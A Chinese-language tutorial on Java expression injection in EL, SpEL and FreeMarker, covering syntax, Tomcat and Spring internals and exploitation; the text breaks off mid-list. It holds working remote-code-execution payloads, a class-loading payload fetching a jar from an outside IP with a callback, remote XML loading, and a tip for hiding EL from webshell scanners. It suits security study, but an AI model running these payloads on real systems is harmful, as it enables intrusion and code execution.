Java 表达式注入
EL
EL(Expression Language,表达式语言)是 Java Web 技术栈里的一种“在页面/模板中写表达式”的机制,最早随 JSP 2.0 出现,后来与 JSF 合并为“统一 EL”(Unified EL)。它让你在 JSP、Facelets(JSF)、CDI/Servlet 等环境里,用简洁的语法读取/计算数据,而不用在页面里写 Java 代码。
基本概念
基本语法
EL 表达式界限为 ${ ... }。JSP/EL 不是 Java 代码执行器,它是“一门表达式语言”。你不能随便在 EL 里写 Java 语句、导包、new 对象、反射、随意调任意静态方法等。
- 不能写 Java 语句:不能写
if (...) {},for (...) {},try/catch,也不能定义类/方法/变量。 - 不能
new对象:没有new运算符。 - 不能随意导包/引类:不能直接写
java.lang.Runtime、Class.forName等。
EL 表达式的常见语法有:
- 取值/索引:
${user.name},${map['k']},${list[0]} - 空判断:
${empty x}(null/空串/空集合/空数组 → true) - 算术/比较/逻辑:
+ - * / %,== != < > <= >=(或eq ne lt gt le ge),&& || !(或and or not) - 条件:
${cond ? a : b} - 函数(JSTL):
${fn:length(list)},${fn:contains(text,'foo')} - 方法调用(EL 2.2+):
${bean.fullName()}(容器实现需开放) - 赋值(实现相关):
${obj.prop = 123},${pageContext.setAttribute('k', v)}
内置对象
EL 表达式上下文内置了若干可直接访问的对象(大多呈现为“Map 风格视图”):
| 名称 | 含义 / 等价 | 典型示例 |
|---|---|---|
pageScope |
当前 JSP 页的 属性表(PageContext 的 page 级属性) |
${pageScope.msg} |
requestScope |
HttpServletRequest 的 属性表 |
${requestScope.user} |
sessionScope |
HttpSession 的 属性表 |
${sessionScope.cart} |
applicationScope |
ServletContext 的 属性表 |
${applicationScope.cfg} |
param |
请求参数单值视图:request.getParameter(name) |
${param.q} |
paramValues |
请求参数多值视图:request.getParameterValues(name)(数组) |
${paramValues.tags[0]} |
header |
Header 单值视图:request.getHeader(name) |
${header['User-Agent']} |
headerValues |
Header 多值视图:request.getHeaders(name)(枚举→数组) |
${headerValues.Accept[0]} |
initParam |
Web 应用的 上下文初始化参数:ServletContext.getInitParameter(name)(web.xml 的 <context-param>) |
${initParam['site.name']} |
cookie |
按 Cookie 名索引到 Cookie 对象的 Map |
${cookie.JSESSIONID.value} |
pageContext |
直接暴露的 PageContext 对象(能进一步拿到 request / session / application 等) |
${pageContext.request.method} |
提示
cookie.*是Cookie对象,请用.value取值;若 Cookie 名含连字符等,使用中括号:${cookie['X-Token'].value}。header/headerValues键大小写不敏感。param/paramValues解析常规查询串与表单编码;multipart/form-data 上传字段需由上传库处理,EL 不直接提供文件访问。
当你写 ${user} 这种未显式加作用域前缀的名字时,EL 会按下面顺序查找同名 属性(attribute):
pageScoperequestScopesessionScopeapplicationScope
先命中哪个用哪个;如果都没有,返回 null。要避免同名遮蔽或歧义,建议显式写作用域:${requestScope.user}。
漏洞场景
Tomcat、WebLogic、Jetty 等容器默认支持 EL。若页面里 EL 没生效,通常是被禁用:
方式 A(页面级):
isELIgnored1
<%@ page isELIgnored="false" %>
方式 B(web.xml 全局/按路径):
<el-ignored>1
2
3
4
5
6<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>false</el-ignored>
</jsp-property-group>
</jsp-config>false= 启用 EL;true= 忽略 EL(表达式将被原样输出或作为普通文本处理)。
EL 是 Java EE/ Jakarta 的通用表达式语言(Unified EL)。除了 JSP,它还会出现在/被以下东西使用:
- JSTL/自定义标签:标签体或标签属性里的
${...}。 - JSF/Facelets:
xhtml里大量${...}/#{...}(两种 EL 前缀)。 - CDI/EE 组件:某些配置/绑定也走 EL 解析。
- 编程式调用:任何 Java 代码都能用
ExpressionFactory、ELContext在Servlet/Filter/Bean里手动求值一段 EL 字符串。
对于普通 JSP,${...} 写死在模板里,用户改不了表达式本身,一般不是“EL 注入”。
而对于编程式调用,开发者如果把用户可控字符串丢给 ExpressionFactory#createValueExpression(...).getValue(...) 去执行,这就不再是“只在 JSP 模板里固定的 EL”。因此会出现 EL 表达式注入:
1 | ExpressionFactory factory = ExpressionFactory.newInstance(); |
在 JSP 容器里你也可以利用 JSP 提供的 JspApplicationContext 获取到容器自己的 ExpressionFactory 与默认的 ELResolver 组合:
1 | <%@ page import="javax.el.*" %> |
另外 Tomcat/Jasper 提供了创建 EL 表达式解析器的专用快捷入口,这也是 Java 在编译 JSP 时针对 JSP 中内嵌 EL 表达式的转换方式。
1 | <%@ page import="org.apache.jasper.runtime.PageContextImpl" %> |
提示
在 web.xml 中添加如下内容可以让 JSP 编译出来的 Java 代码以文件形式保存。
1 | <!-- src/main/webapp/WEB-INF/web.xml --> |
表达式特性
获取对象
EL 表达式注入比 SpEL 表达式注入复杂一点,例如不能通过 new 创建对象:
1 | ${new String("a")} |
也就是说,要创建一个对象,只能通过无需 new 对象就能调用的方法,例如 static 修饰的方法:
1 | ${Runtime.getRuntime.exec("calc")} |
在 EL 3.0 中,解析标识符时会有一个 ImportHandler(类型导入器)。它通常默认导入
java.lang.*,因此像Class、String、Integer这类简单类名可以被识别为类型名(在某些上下文:例如构造器调用、静态访问的实现支持下)。
高版本会有如下报错:
javax.el.PropertyNotFoundException: No public static field named [getRuntime] was found on (exported for Java 9+) class [java.lang.Runtime]
或者直接用反射就能够获取对象:
1 | ${ |
EL 里没有 Java 的“类字面量”语法,所以
String.class这种 Java 写法在 EL 里不成立;而Class.forName(...)是普通静态方法调用,在支持 EL 3.0 的容器里(带有 ImportHandler 的类型解析),Class会被解析为java.lang.Class,因此能直接用。
动态执行
例如下面这段 Java 代码执行会报错:
1 | "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")"); |
这是因为 Java 在编译字节码的时候无法判断 "".getClass().forName("javax.script.ScriptEngineManager").newInstance() 反射创建的 ScriptEngineManager 对象的类型,因此不确定是否有 getEngineByName 方法。因此我们需要先强转成 ScriptEngineManager 类型才能使用。
1 | ((ScriptEngineManager)"".getClass().forName("javax.script.ScriptEngineManager").newInstance()).getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")"); |
而 EL 表达式在执行时,每一步函数调用都会通过反射去实现。在反射的过程中确定具体的类型, 所以不需要强制类型转换:
1 | ${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")} |
多语句执行
EL 3.0+(JSP 2.3 / Servlet 3.1,典型是 Tomcat 8+)支持用分号 ; 把多个表达式串起来,按从左到右执行,整个块的返回值是最后一个表达式的值。
1 | ${ |
另外多条语句还可以放到多个 EL 表达式块中,并且可以看出来变量赋值是可以跨标签的,也就是变量会写入上下文,并且由解析器维护。
1 | ${r=''.getClass().forName('java.lang.Runtime')} |
不过一般 EL 表达式注入不直接写赋值表达式从而保存在上下文中,而是直接调用上下文的 getter 和 setter:
1 | ${pageContext.setAttribute("r", ''.getClass().forName('java.lang.Runtime'))} |
代码执行分析
表达式解析
PageContextImpl#proprietaryEvaluate
首先 org.apache.jasper.runtime.PageContextImpl#proprietaryEvaluate 函数是 apache 对 EL 表达式的调用的标准过程的一个封装:
- 分别获取了解析 EL 表达式的
ExpressionFactory、ELContext、ProtectedFunctionMapper。ExpressionFactory:把字符串解析成ValueExpression/MethodExpression;ELContext:携带 ELResolver 链、类型转换、Function/Variable Mapper;ProtectedFunctionMapper:JSTL/标签库暴露的函数(fn:...),安装到ELContextImpl里;
- 调用
ExpressionFactory#createValueExpression根据ELContext和传入的 EL 表达式创建ValueExpression,内部会用解析器把表达式变成node(语法树根)。
1 | /** |
createValueExpression 解析传入的 EL 表达式的值得到的 ValueExpression 结构如下:
1 | ve = {ValueExpressionImpl@7144} "ValueExpression[${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('calc')")}]" |
ValueExpressionImpl#getValue
proprietaryEvaluate#最后调用 org.apache.el.ValueExpressionImpl#getValue 计算表达式的结果并返回。这里实际上调用的是 ValueExpressionImpl#node 的 getValue 方法。
1 | /** |
这里具体调用的是哪个 getValue 方法取决于 ValueExpressionImpl#node 的类型(也就是 AST 语法树根节点的类型)。node 属性的类型是 org.apache.el.parser.Node 是一个接口,有多种实现。
我们常见的类型是方法调用(AstValue)和属性访问(AstAssign)两种。
方法调用(AstValue)
当表达式中有多个方法连续调用的操作的时候 node 属性是 AstValue 类型:
1 | ${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")} |
此时 EL 表达式解析时有如下调用栈:
1 | PageContextImpl.proprietaryEvaluate |
AstValue#getValue
循环反射,base 为每轮递归反射之后保存的对象。
1 | /** |
JasperELResolver#invoke
1 | /** |
BeanELResolver#invoke
到具体的节点的 resolver,触发最终的反射
1 | public Object invoke(ELContext context, Object base, Object method, |
属性访问(AstAssign)
当我们的 EL 表达式进行的是属性访问或者属性赋值时 node 属性是 AstAssign 类型:
1 | ${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a} |
此时会调用各个属性的 getter 和 setter 方法,实际上也就等价于下面这段 Java 代码:
1 | pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a")); |
注意
pageContext.servletContext.classLoader.resources 在有的 Tomcat 环境里里是 null,后面再去 .context.manager.pathname 会报错 PropertyNotFoundException: Target Unreachable, [resources] returned null。
这是因为在有的 Tomcat 实例里,Web 应用类加载器上的 resources 没被挂上(注入),所以取出来就是 null。要想它不是 null,必须让的 WebApp 真正跑在 Tomcat 的 WebappClassLoaderBase/ParallelWebappClassLoader + 已初始化的 StandardRoot 资源系统之上
最简做法:用“标准的 WAR 部署到独立 Tomcat”,并确保 <Context> 正常初始化了 Resources。
或者是用下面的 Payload 替代:
1 | ${applicationScope['org.apache.catalina.resources'].context.manager.pathname = param.a} |
BeanELResolver#getValue
1 | getServletContext:585, PageContextImpl (org.apache.jasper.runtime) |
1 |
BeanELResolver#setValue
1 | setPathname:131, StandardManager (org.apache.catalina.session) |
1 | /** |
利用技巧
信息收集
1 | //对应于JSP页面中的pageContext对象(注意:取的是pageContext对象) |
方括号执行函数
在 EL 中,[] 本质上也是在获取属性,因此下面两个 EL 表达式是等价的:
1 | ${''.getClass()} == ${''['getClass']()} |
其中对于下面这个 EL 表达式:
1 | ${ '' ['getClass'] () } |
解析器把它拆成一串节点:AstValue(根)下面依次是 AstBracketSuffix、AstMethodParameters。
- base:
''(空字符串,类型是java.lang.String) - AstBracketSuffix:
['getClass'](方括号里的内容先被当成一个表达式求值,结果是字符串"getClass") - AstMethodParameters:
()(方法参数,这里为空)
在 AstValue#getValue(ctx) 函数中:
1 | while (base != null && i < propCount) { |
- 初始
base = "" suffix = "getClass"paramValues = []- 调用后
base = "".getClass(),得到java.lang.Class<java.lang.String>,循环结束返回这个结果。
利用这一特性,我们可以将要获取的属性以及要调用的函数名以字符串的形式表示在 EL 表达式中。
1 | ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval()} |
然后我们就可以通过字符串拼接、编码等形式进行隐藏或者像下面这样通过参数传递进行动态调用:
1 | ${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h) |
getter/setter 函数调用
在前面属性访问(AstAssign)的分析中我们可以得出结论:EL 表达式中点号属性取值相当于执行对象的 getter 方法;等号属性赋值则等同于执行 setter 方法。
因此我们可以复用 FastJson 的反序列化利用思想,通过一系列的 getter 或 setter 函数的调用完成利用。例如:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties:任意字节码加载com.sun.rowset.JdbcRowSetImpl#setAutoCommit:JNDI
不过 FastJson 利用中需要对一个对象多次调用 setter 或 getter 方法来设置属性和触发利用。为了在 EL 表达式中同样满足这一条件,我们需要借助 EL 表达式的多语句执行的特性:
1 | ${ |
标签中的EL表达式
EL 表达式不仅可以放到 jsp 的 body 里,也可以插入到各种的标签中:
1 | <jsp:useBean id="test" type="java.lang.Class" |
类似的还有 <jsp:param value="${...}"/>、<jsp:include page="${...}"/> 等,凡是该属性在 TLD 中标成 rtexprvalue="true" 的,属性值里写 ${...} 就会被当作 运行期表达式 求值;否则按字面量处理。
在将 JSP 转换成 Java 代码的过程中有如下调用栈:
1 | at org.apache.jasper.compiler.JspUtil.interpreterCall(JspUtil.java:362) |
其中 org.apache.jasper.compiler.JspUtil#interpreterCall 函数将属性中的 EL 表达式转换为实际解析 EL 表达式的代码:
1 | StringBuilder call = new StringBuilder( |
也就是会转换成:
1 | (java.lang.String) org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate( |
很多轻量级 WebShell 引擎/扫描器只是把 JSP 当模板文本或 XML 解析,不会走 Jasper 的 AST/EL 编译路径;
于是属性中的 ${...} 被当作普通字符串忽略。真实容器中却会执行,造成偏差。我们可利用这一点绕过“只查 body、不查属性”的拦截/审计规则。
结合 JS 引擎
1 | ${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\"calc\")")} |
SpEL
SpEL(Spring Expression Language) 是 Spring 自带的表达式语言,它的作用类似于 JSP/EL、OGNL、MVEL,能够在运行时动态计算表达式。它不仅能访问对象属性,还能调用方法、执行逻辑运算、正则匹配、构造新对象、调用静态方法等等。
SpEL 在 Spring 3.0 引入,用于 Spring 容器配置(XML/注解)、Spring Security 表达式控制、**@Value 动态取值** 等场景。与 标准 EL(javax.el)/ JSP EL 的相比,SpEL 提供更多能力(T() 访问类型/静态成员、@bean 引用、new 对象、集合选择/投影、函数注册等),可脱离 JSP 使用;标准 EL 偏向视图层规范化。
基本概念
基本语法
SpEL使用 #{...} 作为定界符,大括号内被视为 SpEL 表达式,里面可以使用运算符,变量,调用方法等。使用 T() 运算符会调用类作用域的方法和常量,如 #{T(java.lang.Math)} 返回一个 java.lang.Math 类对象
#{} 和 ${} 的区别:
#{...}:SpEL 表达式。能做运算、方法调用、类型引用T(...)、访问 Spring 容器里 Bean@beanName、变量#var等。${...}:属性占位符(Property Placeholder)。从 application.properties / yaml、系统属性、环境变量等PropertySources里取值,不做计算。
可混用:#{"${prop}".toUpperCase()}(先占位符,再作为字符串参与 SpEL 计算)。
字面量与运算
字符串/数字/布尔/空:
'abc',123,true,null算术/关系/逻辑:
+ - * / %,== != < > <= >=,and or not- 也可用关键字等价:
eq ne lt gt le ge
- 也可用关键字等价:
正则匹配:
'abc' matches 'a.*'(Java 正则)三目与 Elvis:
cond ? a : b,name ?: 'anonymous'安全导航:
user?.address?.city(遇null则整个链返回null)
方法、属性、构造
调用方法:
'abc'.toUpperCase()访问/设置属性:
order.customer.name- 可写上下文里也可赋值:
name = 'bob'(需要目标可写)
- 可写上下文里也可赋值:
类型引用/静态成员:
T(java.lang.Math).random(),T(java.time.Duration).ofSeconds(5)T(Type)是 SpEL 的类型运算符,得到java.lang.Class对象并可访问静态字段/方法- 默认类型定位器导入了
java.lang包,因此可写T(String),T(Math),T(Runtime)(等价于全限定名)
提示
这里就已经存在潜在攻击面:
Rumtime类也是包含在java.lang包中的,因此如果我们能调用Runtime.getRuntime.exec(payload)即可进行命令执行。T(Type)、new ...、方法调用等在默认的StandardEvaluationContext可用;
使用SimpleEvaluationContext时,这些危险能力通常被禁用/裁剪。构造对象:
new java.util.Date(),new int[]{1,2,3},new int[2][3]
集合与筛选/投影
- 集合字面量(List):
{1,2,3} - Map 字面量:
{'k':'v', 'x': 1} - 选择(过滤):
list.?[age > 18](返回所有匹配元素) - 投影:
list. - 首/尾匹配:
list.^[predicate](第一个匹配),list.$[predicate](最后一个匹配)
变量
在上下文里放变量:
context.setVariable("x", 42)→ 表达式里用#x内置变量:
#root:根对象(不随子表达式变化)#this:当前上下文对象(在选择/投影等子表达式中会变为当前元素)
Spring 生态特有
Bean 引用:
@dataSource,@environment.getProperty('spring.user.name')生效前提:
EvaluationContext里配置了BeanFactoryResolver指向 SpringApplicationContext1
ctx.setBeanResolver(new BeanFactoryResolver(applicationContext));
@beanName解析不是 SpEL 核心语法自带;脱离 Spring 或未配置 BeanResolver 会报错。
漏洞场景
SpEL 表达式主要有下面三种应用场景:
配置与 Bean 元数据层:在 注解(如
@Value、@ConditionalOnExpression)或 XML(<property value="#{...}"/>)中写表达式,让容器在创建 Bean时把计算后的结果注入到字段/属性里。@Value注解1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class DemoCfg {
// 读取配置(非 SpEL)。支持默认值:
String user;
// SpEL:静态方法
int year;
// SpEL:系统属性 + 空值回退
String os;
// 混用:先 ${} 后 #{}
String greet;
}XML(老项目常见)
1
2
3
4<bean id="book" class="com.example.Book">
<property name="title" value="#{'CTF-' + T(java.util.UUID).randomUUID()}"/>
<property name="author" value="${book.author:Alice}"/>
</bean>扩展注解(Spring Boot/Cloud):
1
2
3
class FeatureXConfig { /* ... */ }
该场景下表达式的解析过程为:
- Spring 先通过
PropertySourcesPlaceholderConfigurer或 Boot 的自动配置,把${...}占位符替换为实际字符串。 - 随后 Bean Post-Processor(例如
AutowiredAnnotationBeanPostProcessor等)处理注解属性,遇到#{...}时交给 SpEL 引擎求值。 - 求值过程会用到容器上下文:BeanFactory(解析
@bean)、TypeLocator(解析T()静态类型)、系统属性/环境变量等。 - 求值完毕后把结果赋给字段/属性;这个 Bean 必须由容器托管(直接
new不会注入)。
程序化求值 API:直接用
SpelExpressionParser / Expression / (Standard|Simple)EvaluationContext在运行时临时计算表达式(例如简易模板、动态选择/过滤集合),而不是写在注解/XML 里。注意
JSP EL(
proprietaryEvaluate):**通常需要${...}**(或在 JSF/Facelets 里#{...})。表达式常写在 JSP 页面里,由容器用 pageContext、request/session/application 作用域去解析。Spring SpEL(
new SpelExpressionParser().parseExpression(expr).getValue()):默认不需要${}/#{},你直接给T(...).xxx()这种裸表达式即可;只有当你选择“模板模式”时,才用#{...}并传TemplateParserContext。纯表达式:不需要
${}或#{},直接把可执行的 SpEL 串丢进去解析。1
2var parser = new SpelExpressionParser();
Object v = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')").getValue();模板文本 + 表达式混排:使用
#{...},并在解析时必须传new TemplateParserContext()告诉它是“模板”。1
2
3
4
5var parser = new SpelExpressionParser();
Object v = parser.parseExpression(
"Hello #{ 'wo'.concat('rld') }",
new TemplateParserContext()
).getValue(); // → "Hello world"
在这个过程中需要用到下面几个关键类:
SpelExpressionParser:解析器Expression:已解析的表达式EvaluationContext:求值上下文StandardEvaluationContext:功能强(可T()、方法解析等)1
2
3StandardEvaluationContext ctx = new StandardEvaluationContext();
ctx.setVariable("x", 3);
int v = p.parseExpression("#x * 2 + 1").getValue(ctx, Integer.class); // 7SimpleEvaluationContext:裁剪能力(只读数据绑定,更安全)1
2
3
4
5ExpressionParser p = new SpelExpressionParser();
StandardEvaluationContext ctx = SimpleEvaluationContext.forReadOnlyDataBinding().build();
String out = p.parseExpression("'Hello ' + #name")
.getValue(ctx, Map.of("name", "SpEL"), String.class); // Hello SpEL
框架集成处的表达式:Spring 各模块提供的注解参数支持 SpEL:你在注解里写
#id、#{...}等,框架在调用点用上下文变量(方法参数、Authentication等)求值。例如:
Spring Security
1
Spring Cache
1
Spring Scheduling
1
Spring Data:
@Query中的1
:#{#param}
实际情况下,一般都是基于上面程序化求值 API 的使用场景出现表达式注入漏洞。该场景动态解析表达式的过程为:
创建解析器
1
ExpressionParser parser = new SpelExpressionParser();
解析表达式
1
Expression expression = parser.parseExpression(expr);
构造上下文
new StandardEvaluationContext()1
2StandardEvaluationContext context = new StandardEvaluationContext(rootObj); // root 可为 null
context.setVariable("x", 42); // 可选:注入变量new StandardEvaluationContext(rootObj)- rootObj = 根对象(可选):表达式里不加任何前缀访问的属性/方法,默认就从“根对象”开始找。
- root 可以是 null:没有默认“起点对象”,但表达式仍可用变量(
#var)、静态类型T(...)、字面量、集合操作等。
context.setVariable("x", 42)- 向上下文里放一个命名变量,表达式中用
#x访问。 - 变量跟“根对象的属性”是两条线:
#x永远指变量,x(无#)先从根对象找同名属性。
- 向上下文里放一个命名变量,表达式中用
求值
1
Object result = expression.getValue(context); // 或指定目标类型:getValue(context, String.class)
注意
调用 expression.getValue() 无参重载时,SpEL 会使用一个默认求值上下文来执行表达式。默认上下文是一个**未裁剪的 StandardEvaluationContext**:
1 | // 取表达式求值结果(无参重载) |
因此仍然允许:
T(java.lang.XXX)静态类型访问(→ 调Runtime.getRuntime().exec(...)、读系统属性/环境等)- 大量内置属性访问器与运算能力
所以即使你没写 new StandardEvaluationContext(),只要把不可信输入直接送进 parseExpression(...).getValue(),依然可能被打。
我们可以创建一个 Maven 项目来测试 SpEL 表达式注入。其中目录结构如下:
1 | src/ |
首先是 Spring Boot 的启动入口类 SpelDemoApplication:
1 | package com.example.speldemo; |
然后使用下面这个 SpELController 类测试 SpEL 表达式注入:
1 | package com.example.speldemo; |
在 Spring Boot 的外部化配置文件 application.properties 设置监听端口:
1 | server.port=8080 |
在 pom.xml 中添加依赖和运行插件:
1 | <!-- 继承 Spring Boot 父 POM:统一管理依赖版本(不用你一个个写 <version>) --> |
利用技巧
基础利用
1 | // Runtime |
下面是一些简单变换:
1 | // 反射调用 |
结合 JS 引擎
1 | // JavaScript引擎通用PoC |
类加载攻击
UrlClassloader
1 | new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://101.36.122.13:8990/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("101.36.122.13:2333") |
ReflectUtils
Spring 框架中 org.springframework.cglib.core.ReflectUtils 提供了一系列反射有关的方法,其中就包括了字节码加载 defineClass。
1 | public static void main(String[] args) throws Exception { |
高版本 JDK(>=9)引入了命名模块机制,java.* 下的非公开变量和方法不能被其他模块直接访问,JDK11 还只会提示 warning,而在 JDK17 中会强制开启,直接报错:
java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not “opens java.lang” to unnamed module @635eaaf1
这是因为 java.lang.ClassLoader#defineClass 不是公开方法,无法被其他模块访问。
当然 Spring 也提供了相应的解决方案,就是不再硬反射 defineClass,而是走 方法句柄 API 的“官方通道”来把字节码变成类:
- 先拿一张通行证(
Lookup):lookup = MethodHandles.privateLookupIn(contextClass, MethodHandles.lookup()) - 再用这张通行证把字节码定义成类:
clazz = lookup.defineClass(bytes)
这样做就能在 contextClass 的同包、同类加载器 下定义新类,绕开模块限制,不用 --add-opens。
org.springframework.cglib.core.ReflectUtils#defineClass 函数在满足条件的时候会优先调用 java.lang.invoke.MethodHandles$Lookup#defineClass 来加载类。
1 | // 首选路径:在 JDK 9+ 上,如果类加载器匹配,则用 Lookup#defineClass 定义类 |
这里需要满足如下条件:
- JDK ≥ 9:运行时必须有
MethodHandles.privateLookupIn与MethodHandles.Lookup#defineClass(byte[])
→ 代码里用privateLookupInMethod != null && lookupDefineClassMethod != null检测。 - 提供了上下文类:
contextClass != null
→ 用它来确定“目标包”和“目标类加载器”。 - 类加载器完全一致:
contextClass.getClassLoader() == loader(★关键)
→ 只有 loader 一致才能privateLookupIn(contextClass, …),也才能把新类定义到与 contextClass 同一个运行时包/模块里。
当满足这些条件的时候首先调用 MethodHandles.privateLookupIn 函数创建一个绑定到 contextClass 的 Lookup 对象。这个 Lookup 代表“以 contextClass 所在运行时包与类加载器的权限视角”去做后续操作(比如 lookup.defineClass(bytes))。
1 | MethodHandles.Lookup lookup = (MethodHandles.Lookup) |
等价于(非反射写法):
1 | MethodHandles.Lookup lookup = |
之后调用 lookup.defineClass 在 contextClass 的地盘里把字节码变成类,也就是把 b(合法的 class 文件字节)定义成一个 Class,落在与 contextClass 完全一致的包/类加载器/保护域。
1 | Class<?> c = (Class) lookupDefineClassMethod.invoke(lookup, b); |
等价于(非反射写法):
1 | Class<?> c = lookup.defineClass(b); |
注意
不会立刻执行 <clinit>(静态代码块);初始化按 JLS 规则稍后触发。
因此我们可以通过调用 org.springframework.cglib.core.ReflectUtils#defineClass 加载恶意类,并且满足:
contextClass与目标新类在同一个“运行时包”:包名要完全一致(例如都在org.springframework.expression,子包不算同包!org.springframework.expression.spel.*就不行)。contextClass与目标新类由同一个类加载器加载:contextClass.getClassLoader()必须等于你传给ReflectUtils#defineClass的loader。
例如我们只需要将 contextClass 设置为 org.springframework.expression.ExpressionParser 并且要加载的类的类名设置为 org.springframework.expression 下的任意一个虚构的类即可:
1 | public static void main(String[] args) throws Exception { |
调用栈如下:
1 | exec:315, Runtime (java.lang) |
提示
上述方式有时会出现如下错误:
loader ‘app’ attempted duplicate class definition for org.springframework.expression.EvilClass. (org.springframework.expression.EvilInterceptor is in unnamed module of loader ‘app’)
这实际上是 JVM 的硬错误:同一个 ClassLoader 里,同名类(同一 FQCN)只能被定义一次。
日志里说的 loader 'app'(你的 WebAppClassLoader)之前已经加载过org.springframework.expression.EvilClass,你又尝试用同名再定义。
因此我们需要每次更换类名:
1 | String fqcn = "org.springframework.expression.EvilClass_" + |
远程加载 xml
javax.swing.plaf.synth.SynthLookAndFeel#load
1 | new javax.swing.plaf.synth.SynthLookAndFeel().load(new java.net.URL("http://127.0.0.1:8000/1.xml")) |
1 | <new class="java.lang.ProcessBuilder"> |
SpELController.spel → SpelExpression.getValue → MethodReference.execute- 你在 URL 里传的 SpEL:
new javax.swing.plaf.synth.SynthLookAndFeel().load(new java.net.URL("http://.../1.xml")) - SpEL 解析后真的 new 了
SynthLookAndFeel,并调用了.load(URL)。
- 你在 URL 里传的 SpEL:
SynthLookAndFeel.load- 内部做两件事:
url.openStream()读回 XML,交给new SynthParser().parse(...)。
- 内部做两件事:
SAXParser.parse → AbstractSAXParser.parse → XML11Configuration.parse等- 标准 JAXP/Xerces 把 XML 逐标签回调给
SynthParser。
- 标准 JAXP/Xerces 把 XML 逐标签回调给
SynthParser.endElement- 每读到一个结束标签(如
</new>/</object>),就驱动语义处理——核心是 com.sun.beans.decoder 包。
- 每读到一个结束标签(如
这套 JavaBeans XML Decoder 语法就是为了把 XML 解释成对象构建与方法调用:
NewElementHandler.getValueObject / getContextBean解析
<new class="java.lang.ProcessBuilder"> … </new>先把子节点
<string>calc</string>解析成构造参数;找到匹配的构造器后:
Constructor.newInstance(...) → NativeConstructorAccessorImpl.newInstance0- **到这就真正调用了
ProcessBuilder.<init>("calc")**(你看到的栈顶:<init>:229, ProcessBuilder)
ObjectElementHandler.getValueObject- 解析
<object method="start"></object>; - 反射找到
start(),再Method.invoke(...)调用; - **相当于
new ProcessBuilder("calc").start()**,进程被拉起。
- 解析
1 | <init>:229, ProcessBuilder (java.lang) |
FreeMarker
FreeMarker 是 Java 里的模板引擎(Apache 2.0 开源)。它把“模板文件(.ftl/.ftlh)”和“数据模型(Java 对象/Map)”合成各种文本输出:最常见是 HTML 页面,也能生成邮件正文、配置文件、甚至源码片段。
FreeMarker 的 3 个核心概念:
- 模板(Template):已经解析好的 FTL 模板对象,可多次、并发复用来渲染输出。
- 数据模型(Data-Model):通常是
Map/List/POJO的包装,FreeMarker 通过 ObjectWrapper 将 Java 对象映射为模板可用的类型(字符串/数值/布尔/序列/哈希/时间等)。 - 配置(Configuration):模板加载、编码、输出格式、自动转义、版本兼容(
incompatible_improvements)等都在此设置。
基本概念
环境基础
FreeMarker 可以通过如下 Maven 坐标引入:
1 | <dependency> |
然后通过下面这段代码进行一些基本配置和使用:
1 | // 必要的导入(也可用通配:import freemarker.template.*;) |
FreeMarker 是 Spring Boot 官方内置自动配置支持的模板引擎之一(与 Thymeleaf、Groovy/Mustache 等并列)。
下面 maven 坐标对应的 FreeMarker 版本为 2.3.32:
1 | <parent> |
基本语法
插值(Interpolations)
这里的“插值”(Interpolation)指的是:把一个表达式的值“插”进模板输出。在 FreeMarker(FTL)里,就是把数据模型里的变量/表达式结果渲染成文本。
- 标准插值:
${expression},将表达式的值转为文本插入输出。 - 数值插值:
#{expression}—— 仅用于数值的插值写法;已被官方标记为过时/不推荐,一般改用${n?c}(canonical,机器可读)或配置number_format。 - 方括号插值(可选):
[=expression],仅在启用“方括号标签语法”(2.3.28+)时可用,等价${…},很少需要。
1 | <#-- hello.ftlh --> |
常用指令(FTL 标签)
1 | <#if cond> ... <#elseif other> ... <#else> ... </#if> |
再加上宏/函数与命名空间:
1 | <#macro badge type text> |
内置函数
?api:把模板变量“切换成 Java 视角”
把模板里的值切到“Java 视角”,从而 在模板中调用 Java 方法/属性:
1 | ${obj?api.someJavaMethod()} |
FreeMarker 2.3.22 开始支持,需要通过 Configurable.setAPIBuiltinEnabled(true) 或设置 api_builtin_enabled(默认为false)
并不是所有值都支持?api,自定义的 TemplateModel(实现了 freemarker.template.TemplateModelWithAPISupport 接口)可以支持 ?api。
可以通过 value?has_api 来检测一个值是否支持 ?api。
此外,freemarker.ext.beans 下有一个配置文件unsafeMethods.properties,限制了一些常见敏感方法的调用。
2.3.30 加入 java.security.ProtectionDomain.getClassLoader()。
?new:在模板里“按类名反射实例化”
按类名 在模板里反射创建对象(返回的对象需是 FreeMarker 可调用的 TemplateModel,常见如 TemplateMethodModelEx / TemplateDirectiveModel):
1 | <#assign ex="freemarker.template.utility.Execute"?new()> |
用于实例化一个实现了freemarker.template.TemplateMethodModel接口的类,调用其构造器并返回一个变量。
2.3.17开始,可以通过Configuration.setNewBuiltinClassResolver(TemplateClassResolver.XXX) 或设置 new_builtin_class_resolver 来限制这个内建函数对类的访问,官方提供了三个预定义的类解析器(TemplateClassResolver接口下有)
- UNRESTRICTED_RESOLVER:简单地调用
ClassUtil.forName(String)。 - SAFER_RESOLVER:和第一个类似,但禁止解析
